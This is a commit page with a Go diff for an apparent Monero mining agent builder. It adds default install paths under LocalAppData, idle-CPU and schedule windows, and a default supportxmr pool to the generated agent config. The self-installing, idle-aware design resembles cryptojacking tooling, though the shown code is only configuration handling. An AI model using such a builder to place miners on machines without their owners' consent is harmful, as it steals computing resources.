Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
@@ -38,9 +38,12 @@ type BuildRequest struct {
|
||||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
PoolPass string `json:"pool_pass"`
|
||||
@@ -277,6 +280,15 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.ScheduleEnd == "" {
|
||||
req.ScheduleEnd = "06:00"
|
||||
}
|
||||
if req.InstallBase == "" {
|
||||
req.InstallBase = "localappdata"
|
||||
}
|
||||
if req.InstallRelativePath == "" {
|
||||
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
||||
}
|
||||
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
|
||||
return fmt.Errorf("install_custom_base is required when install_base is custom")
|
||||
}
|
||||
if req.PoolHost == "" {
|
||||
req.PoolHost = "pool.supportxmr.com"
|
||||
}
|
||||
@@ -326,6 +338,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
IdleDurationMinutes: %d,
|
||||
ScheduleStart: %q,
|
||||
ScheduleEnd: %q,
|
||||
InstallBase: %q,
|
||||
InstallCustomBase: %q,
|
||||
InstallRelativePath: %q,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -355,6 +370,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.IdleDurationMinutes,
|
||||
req.ScheduleStart,
|
||||
req.ScheduleEnd,
|
||||
req.InstallBase,
|
||||
req.InstallCustomBase,
|
||||
req.InstallRelativePath,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user